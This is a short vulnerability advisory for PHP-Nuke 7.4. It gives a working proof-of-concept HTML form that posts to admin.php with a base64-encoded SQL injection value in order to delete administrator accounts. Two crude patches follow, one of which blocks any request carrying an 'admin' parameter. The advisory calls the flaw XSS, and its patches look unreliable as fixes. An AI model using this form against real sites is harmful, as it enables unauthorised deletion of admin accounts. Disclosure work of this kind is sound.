PHP-Nuke 7.4

[serverplan]

Delete Admin Bug

- ) Description
PHP-Nuke is a very bugged web CMS, version 7.4 has critical
XSS bug that permit to an attacker to delete any Admin account
except God admin.
This bug is very old too but we can bypass the patch sending data
by POST instead of GET.

- ) Proof-of-Concept
Create a HTML file with this lines:

<form name="mantra" method="POST" action="http://www.sitewithphpnuke.com/admin.php">
USERNAME: <input type="text" name="del_aid">

<input type="hidden" name="admin" value="eCcgVU5JT04gU0VMRUNUIDEvKjox">


<input type="hidden" name="add_radminsuper" value="1">


<input type="hidden" name="op" value="deladminconf">
<input type="submit" name="Submit" value="Delete Admin">


</p>
</form>

- ) Patch

Apply this code to your admin.php file:

if ( !empty($HTTP_GET_VARS['op']) ) {
$op = $HTTP_GET_VARS['op'];
}

if ( !empty($HTTP_POST_VARS['op']) ) {
$op = $HTTP_POST_VARS['op'];
}

-) Note

There are a lot of this problem in PHP-Nuke 7.4, my patch will check
the content of $_POST[op] and $_GET[op].

[serverplan]

PATCH:


* CODEBUG Labs
* Patch #1
* Title: Multiple XSS Bug in admin.php
* Author: Pierquinto 'Mantra' Manco
* Product: PHP-Nuke 7.4


- ) Patch

Apply this code to your admin.php file:

if ( !empty($HTTP_GET_VARS['admin']) ) {
die("Shit! Mantra wins =)");
}

if ( !empty($HTTP_POST_VARS['admin']) ) {
die("Shit! Mantra wins =)");
}

-) Note
Previous patch isn't enough performant.
Try this one.
There are a lot of this problem in PHP-Nuke 7.4, my patch will check
the content of $_POST[admin] and $_GET[admin].
I'm going to post all this vulnerabilities on my site...